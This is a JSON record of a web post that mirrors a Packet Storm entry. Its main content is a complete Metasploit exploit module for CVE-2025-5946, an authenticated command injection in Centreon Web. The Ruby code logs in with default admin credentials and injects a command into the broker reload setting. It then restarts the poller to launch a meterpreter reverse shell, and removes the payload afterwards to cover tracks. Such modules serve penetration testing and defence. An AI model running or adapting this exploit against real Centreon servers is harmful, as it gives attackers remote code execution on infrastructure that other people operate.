{"id":24902,"date":"2025-11-05T11:46:36","date_gmt":"2025-11-05T11:46:36","guid":{"rendered":"http:\/\/localhost\/?p=24902"},"modified":"2025-11-05T11:46:36","modified_gmt":"2025-11-05T11:46:36","slug":"centreon-broker-engine-reload-parameter-command-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=24902","title":{"rendered":"\ud83d\udcc4 Centreon Broker Engine Reload Parameter Command Injection_PACKETSTORM:211222"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-05T16:51:17&#8243;,&#8221;description&#8221;:&#8221;Centreon is a platform designed to monitor your cloud and on-premises infrastructure&#8230;.&#8221;,&#8221;published&#8221;:&#8221;2025-11-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Centreon Broker Engine Reload Parameter Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:211222&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-5946&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      include Msf::Exploit::Remote::HttpClient\\n      prepend Msf::Exploit::Remote::AutoCheck\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;Centreon authenticated command injection leading to RCE via broker engine \\&#8221;reload\\&#8221; parameter&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              Centreon is a platform designed to monitor your cloud and on-premises infrastructure.\\n              This module exploits an command injection vulnerability using the `broker engine reload` setting\\n              on the poller configuration page of the Centreon web application. Injecting a malcious payload\\n              at the `broker engine reload` parameter and restarting the poller triggers this vulnerability.\\n              You need have admin access at the Centreon Web application in order to execute this RCE.\\n              This issue affects all Centreon editions \\u003e= `19.10.0` and it is fixed in Centreon Web versions\\n              `24.10.13`, `24.04.18` and `23.10.28`.\\n            },\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;h00die-gr3y \\u003ch00die.gr3y[at]gmail.com\\u003e&#8217; # Discovery, Metasploit module \\u0026 default password weakness\\n            ],\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2025-5946&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/thewatch.centreon.com\/latest-security-bulletins-64\/cve-2025-5946-centreon-web-all-versions-high-severity-5104&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/23D4cUoBZj\/cve-2025-5946&#8217;]\\n            ],\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;],\\n            &#8216;Privileged&#8217; =\\u003e false,\\n            &#8216;Arch&#8217; =\\u003e [ARCH_CMD],\\n            &#8216;Targets&#8217; =\\u003e [\\n              [\\n                &#8216;Unix\/Linux Command&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;],\\n                  &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n                  &#8216;Type&#8217; =\\u003e :unix_cmd,\\n                  &#8216;DefaultOptions&#8217; =\\u003e {\\n                    &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp&#8217;\\n                  },\\n                  &#8216;Payload&#8217; =\\u003e {\\n                    &#8216;Encoder&#8217; =\\u003e &#8216;cmd\/base64&#8217;,\\n                    &#8216;BadChars&#8217; =\\u003e \\&#8221;\\\\x20\\\\x3E\\\\x26\\\\x27\\\\x22\\&#8221; # no space \\u003e \\u0026 &#8216; \\&#8221;\\n                  }\\n                }\\n              ]\\n            ],\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-09-24&#8217;,\\n            &#8216;DefaultOptions&#8217; =\\u003e {\\n              &#8216;SSL&#8217; =\\u003e true,\\n              &#8216;RPORT&#8217; =\\u003e 443\\n            },\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION]\\n            }\\n          )\\n        )\\n        register_options([\\n          OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Path to the Centreon application&#8217;, &#8216;\/centreon&#8217;]),\\n          OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;Centreon web admin user&#8217;, &#8216;admin&#8217;]),\\n          OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;Centreon web admin password&#8217;, &#8216;Centreon!123&#8217;])\\n        ])\\n      end\\n    \\n      # login at the Centreon web application\\n      # return true if login successful else false\\n      def centreon_login(name, pwd)\\n        # login with admin credentials\\n        # first try login logic in newer versions\\n        post_data = {\\n          login: name.to_s,\\n          password: pwd.to_s\\n        }.to_json\\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;keep_cookies&#8217; =\\u003e true,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;latest&#8217;, &#8216;authentication&#8217;, &#8216;providers&#8217;, &#8216;configurations&#8217;, &#8216;local&#8217;),\\n          &#8216;data&#8217; =\\u003e post_data.to_s\\n        })\\n        return true if res\\u0026.code == 200 \\u0026\\u0026 res.body.include?(&#8216;redirect_uri&#8217;)\\n    \\n        # try again using login logic for older versions\\n        # get centreon_token\\n        res = send_request_cgi!({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path),\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        })\\n    \\n        # find the token: \\u003cinput name=\\&#8221;centreon_token\\&#8221; type=\\&#8221;hidden\\&#8221; value=\\&#8221;988067bfac1fdbb52566cb06bef5b514\\&#8221; \/\\u003e\\n        if res\\u0026.code == 200 \\u0026\\u0026 res.body.include?(&#8216;centreon_token&#8217;)\\n          centreon_token_match = res.body.match(%r{\\u003cinput name=\\&#8221;centreon_token\\&#8221;.*\/\\u003e})\\n          centreon_token = centreon_token_match[0].split(&#8216;value=\\&#8221;&#8216;)[1].gsub(%r{\\&#8221;.*\/\\u003e}, &#8221;) unless centreon_token_match.nil?\\n        else\\n          vprint_status(&#8216;No centreon_token found!&#8217;)\\n          return false\\n        end\\n    \\n        # login with admin credentials and centreon_token\\n        if centreon_token\\n          vprint_status(\\&#8221;centreon_token=#{centreon_token}\\&#8221;)\\n          res = send_request_cgi({\\n            &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n            &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;index.php&#8217;),\\n            &#8216;keep_cookies&#8217; =\\u003e true,\\n            &#8216;vars_post&#8217; =\\u003e {\\n              &#8216;useralias&#8217; =\\u003e name.to_s,\\n              &#8216;password&#8217; =\\u003e pwd.to_s,\\n              &#8216;submitLogin&#8217; =\\u003e &#8216;Connect&#8217;,\\n              &#8216;centreon_token&#8217; =\\u003e centreon_token.to_s\\n            }\\n          })\\n          return true if res\\u0026.code == 302\\n        else\\n          vprint_warning(&#8216;Unable to process the centreon_token.&#8217;)\\n        end\\n        false\\n      end\\n    \\n      # CVE-2025-5946: Command Injection leading to RCE via the centreon broker engine \\&#8221;reload\\&#8221; parameter triggered by a poller reload\\n      def execute_payload(cmd, _opts = {})\\n        @clean_payload = true\\n        payload = \\&#8221;;#{cmd}\\&#8221;\\n        vprint_status(\\&#8221;payload=#{payload}\\&#8221;)\\n        # attach payload at the centreon broker engine \\&#8221;reload parameter\\n        fail_with(Failure::PayloadFailed, &#8216;Dropping the payload at the target failed.&#8217;) unless drop_rce_payload(payload)\\n    \\n        # trigger execution by restarting the poller\\n        send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;include&#8217;, &#8216;configuration&#8217;, &#8216;configGenerate&#8217;, &#8216;xml&#8217;, &#8216;restartPollers.php&#8217;),\\n          &#8216;keep_cookies&#8217; =\\u003e true,\\n          &#8216;vars_post&#8217; =\\u003e {\\n            &#8216;poller&#8217; =\\u003e 1,\\n            &#8216;mode&#8217; =\\u003e 1\\n          }\\n        })\\n      end\\n    \\n      # attach payload at the centreon broker engine \\&#8221;reload\\&#8221; parameter and commit into the sql database\\n      def drop_rce_payload(payload)\\n        # get the poller configuration and centreon_token\\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;main.get.php&#8217;),\\n          &#8216;keep_cookies&#8217; =\\u003e true,\\n          &#8216;vars_get&#8217; =\\u003e {\\n            &#8216;p&#8217; =\\u003e 60901,\\n            &#8216;o&#8217; =\\u003e &#8216;c&#8217;,\\n            &#8216;server_id&#8217; =\\u003e 1\\n          }\\n        })\\n    \\n        # find the token: \\u003cinput name=\\&#8221;centreon_token\\&#8221; type=\\&#8221;hidden\\&#8221; value=\\&#8221;988067bfac1fdbb52566cb06bef5b514\\&#8221; \/\\u003e\\n        if res\\u0026.code == 200 \\u0026\\u0026 res.body.include?(&#8216;centreon_token&#8217;)\\n          centreon_token_match = res.body.match(%r{\\u003cinput name=\\&#8221;centreon_token\\&#8221;.*\/\\u003e})\\n          centreon_token = centreon_token_match[0].split(&#8216;value=\\&#8221;&#8216;)[1].gsub(%r{\\&#8221;.*\/\\u003e}, &#8221;) unless centreon_token_match.nil?\\n        else\\n          vprint_status(&#8216;No centreon_token found!&#8217;)\\n          return false\\n        end\\n    \\n        # update poller \\&#8221;centreon broker engine reload\\&#8221; setting with payload\\n        if centreon_token\\n          vprint_status(\\&#8221;centreon_token=#{centreon_token}\\&#8221;)\\n          res = send_request_cgi({\\n            &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n            &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;main.get.php&#8217;),\\n            &#8216;keep_cookies&#8217; =\\u003e true,\\n            &#8216;vars_get&#8217; =\\u003e {\\n              &#8216;p&#8217; =\\u003e 60901\\n            },\\n            &#8216;vars_post&#8217; =\\u003e {\\n              &#8216;name&#8217; =\\u003e &#8216;Central&#8217;,\\n              &#8216;ns_ip_address&#8217; =\\u003e &#8216;127.0.0.1&#8217;,\\n              &#8216;localhost[localhost]&#8217; =\\u003e 1,\\n              &#8216;is_default[is_default]&#8217; =\\u003e 1,\\n              &#8216;gorgone_communication_type[gorgone_communication_type]&#8217; =\\u003e 1,\\n              &#8216;gorgone_port&#8217; =\\u003e 5556,\\n              &#8216;engine_start_command&#8217; =\\u003e &#8216;service centengine start&#8217;,\\n              &#8216;engine_stop_command&#8217; =\\u003e &#8216;service centengine stop&#8217;,\\n              &#8216;engine_restart_command&#8217; =\\u003e &#8216;service centengine restart&#8217;,\\n              &#8216;engine_reload_command&#8217; =\\u003e &#8216;service centengine reload&#8217;,\\n              &#8216;nagios_bin&#8217; =\\u003e &#8216;\/usr\/sbin\/centengine&#8217;,\\n              &#8216;nagiostats_bin&#8217; =\\u003e &#8216;\/usr\/sbin\/centenginestats&#8217;,\\n              &#8216;nagios_perfdata&#8217; =\\u003e &#8216;\/var\/log\/centreon-engine\/service-perfdata&#8217;,\\n              &#8216;broker_reload_command&#8217; =\\u003e \\&#8221;service cbd reload#{payload}\\&#8221;,\\n              &#8216;centreonbroker_cfg_path&#8217; =\\u003e &#8216;\/etc\/centreon-broker&#8217;,\\n              &#8216;centreonbroker_module_path&#8217; =\\u003e &#8216;\/usr\/share\/centreon\/lib\/centreon-broker&#8217;,\\n              &#8216;centreonbroker_logs_path&#8217; =\\u003e nil,\\n              &#8216;centreonconnector_path&#8217; =\\u003e &#8216;\/usr\/lib64\/centreon-connector&#8217;,\\n              &#8216;init_script_centreontrapd&#8217; =\\u003e &#8216;centreontrapd&#8217;,\\n              &#8216;snmp_trapd_path_conf&#8217; =\\u003e &#8216;\/etc\/snmp\/centreon_traps\/&#8217;,\\n              &#8216;ns_activate[ns_activate]&#8217; =\\u003e 1,\\n              &#8216;submitC&#8217; =\\u003e &#8216;Save&#8217;,\\n              &#8216;id&#8217; =\\u003e 1,\\n              &#8216;o&#8217; =\\u003e &#8216;c&#8217;,\\n              &#8216;centreon_token&#8217; =\\u003e centreon_token.to_s\\n            }\\n          })\\n          if res\\u0026.code == 200 \\u0026\\u0026 res.body.include?(&#8216;ajaxOption table&#8217;)\\n            vprint_good(&#8216;Poller setting \\&#8221;broker_reload_command\\&#8221; updated with payload.&#8217;)\\n            return true\\n          end\\n          vprint_warning(&#8216;Poller setting \\&#8221;broker_reload_command\\&#8221; is not updated with payload.&#8217;)\\n        else\\n          vprint_warning(&#8216;Unable to process the centreon_token.&#8217;)\\n        end\\n        return false\\n      end\\n    \\n      # try to remove the payload from the poller settings to cover our tracks\\n      def cleanup\\n        super\\n        # check if payload should be cleaned\\n        if @clean_payload\\n          vprint_status(&#8216;Cleaning up the mess&#8230;&#8217;)\\n          if drop_rce_payload(nil)\\n            print_good(&#8216;Payload has been successfully removed from the poller setting \\&#8221;broker_reload_command\\&#8221;.&#8217;)\\n          else\\n            print_warning(&#8216;Payload not removed. Try to remove it manually from the poller setting \\&#8221;broker_reload_command\\&#8221;.&#8217;)\\n          end\\n        end\\n      end\\n    \\n      # get the Centreon version\\n      # return version if successful else nil\\n      def get_centreon_version\\n        # get version information use Web API v2.0\\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;latest&#8217;, &#8216;platform&#8217;, &#8216;versions&#8217;),\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        })\\n        # for older versions try to scrape the version from the login web page\\n        unless res\\u0026.code == 200 \\u0026\\u0026 res.body.include?(&#8216;web&#8217;)\\n          res = send_request_cgi!({\\n            &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n            &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path),\\n            &#8216;keep_cookies&#8217; =\\u003e true\\n          })\\n          return nil unless res\\u0026.code == 200\\n    \\n          build = res.body.match(\/v\\\\.\\\\s*\\\\d+\\\\.\\\\d+\\\\.\\\\d+\/)\\n          return nil if build.nil?\\n    \\n          return build[0].gsub(\/[[:space:]]\/, &#8221;).split(&#8216;v.&#8217;)[1]\\n        end\\n        res_json = res.get_json_document\\n        res_json[&#8216;web&#8217;][&#8216;version&#8217;] unless res_json.blank?\\n      end\\n    \\n      def check\\n        version = get_centreon_version\\n        return CheckCode::Unknown(&#8216;Can not determine the Centreon version.&#8217;) if version.nil?\\n    \\n        case version.scan(\/^\\\\d+\\\\.\\\\d+\/)[0]\\n        when &#8216;24.10&#8217;\\n          return CheckCode::Appears(\\&#8221;Centreon version #{version}\\&#8221;) if Rex::Version.new(version) \\u003c Rex::Version.new(&#8216;24.10.13&#8217;)\\n        when &#8216;24.04&#8217;\\n          return CheckCode::Appears(\\&#8221;Centreon version #{version}\\&#8221;) if Rex::Version.new(version) \\u003c Rex::Version.new(&#8216;24.04.18&#8217;)\\n        when &#8216;23.10&#8217;\\n          return CheckCode::Appears(\\&#8221;Centreon version #{version}\\&#8221;) if Rex::Version.new(version) \\u003c Rex::Version.new(&#8216;23.10.28&#8217;)\\n        else\\n          return CheckCode::Appears(\\&#8221;Centreon version #{version}\\&#8221;) if Rex::Version.new(version) \\u003e= Rex::Version.new(&#8216;19.10.0&#8217;)\\n        end\\n    \\n        CheckCode::Safe(\\&#8221;Centreon version #{version}\\&#8221;)\\n      end\\n    \\n      def exploit\\n        # check if we can login at the Centreon Web application with the default admin credentials\\n        username = datastore[&#8216;USERNAME&#8217;]\\n        password = datastore[&#8216;PASSWORD&#8217;]\\n        print_status(\\&#8221;Trying to log in with admin credentials #{username}:#{password} at the Centreon Web application.\\&#8221;)\\n        fail_with(Failure::NoAccess, &#8216;Failed to authenticate at the Centreon Web application.&#8217;) unless centreon_login(username, password)\\n        print_status(&#8216;Succesfully authenticated at the Centreon Web application.&#8217;)\\n    \\n        # storing credentials at the msf database\\n        print_status(&#8216;Saving admin credentials at the msf database.&#8217;)\\n        store_valid_credential(user: username, private: password)\\n    \\n        print_status(\\&#8221;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}\\&#8221;)\\n        execute_payload(payload.encoded)\\n      end\\n    end&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/211222&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.2,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/211222\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-05T16:51:17&#8243;,&#8221;description&#8221;:&#8221;Centreon is a platform designed to monitor your cloud and on-premises infrastructure&#8230;.&#8221;,&#8221;published&#8221;:&#8221;2025-11-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Centreon Broker Engine Reload Parameter Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:211222&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-5946&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,39,12,15,13,53,7,11,5],"class_list":["post-24902","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-72","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Centreon Broker Engine Reload Parameter Command Injection_PACKETSTORM:211222 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=24902\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Centreon Broker Engine Reload Parameter Command Injection_PACKETSTORM:211222 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-11-05T16:51:17&#8243;,&#8221;description&#8221;:&#8221;Centreon is a platform designed to monitor your cloud and on-premises infrastructure&#8230;.&#8221;,&#8221;published&#8221;:&#8221;2025-11-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Centreon Broker Engine Reload Parameter Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:211222&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-5946&#8243;],&#8221;sourceData&#8221;:&#8221;##n # This module requires Metasploit: https:\/\/metasploit.com\/downloadn...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=24902\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-11-05T11:46:36+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=24902#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=24902\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Centreon Broker Engine Reload Parameter Command Injection_PACKETSTORM:211222\",\"datePublished\":\"2025-11-05T11:46:36+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=24902\"},\"wordCount\":1955,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.2\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=24902#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=24902\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=24902\",\"name\":\"\ud83d\udcc4 Centreon Broker Engine Reload Parameter Command Injection_PACKETSTORM:211222 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-11-05T11:46:36+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=24902#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=24902\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=24902#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Centreon Broker Engine Reload Parameter Command Injection_PACKETSTORM:211222\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Centreon Broker Engine Reload Parameter Command Injection_PACKETSTORM:211222 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=24902","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Centreon Broker Engine Reload Parameter Command Injection_PACKETSTORM:211222 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-11-05T16:51:17&#8243;,&#8221;description&#8221;:&#8221;Centreon is a platform designed to monitor your cloud and on-premises infrastructure&#8230;.&#8221;,&#8221;published&#8221;:&#8221;2025-11-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Centreon Broker Engine Reload Parameter Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:211222&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-5946&#8243;],&#8221;sourceData&#8221;:&#8221;##n # This module requires Metasploit: https:\/\/metasploit.com\/downloadn...","og_url":"https:\/\/zero.redgem.net\/?p=24902","og_site_name":"zero redgem","article_published_time":"2025-11-05T11:46:36+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 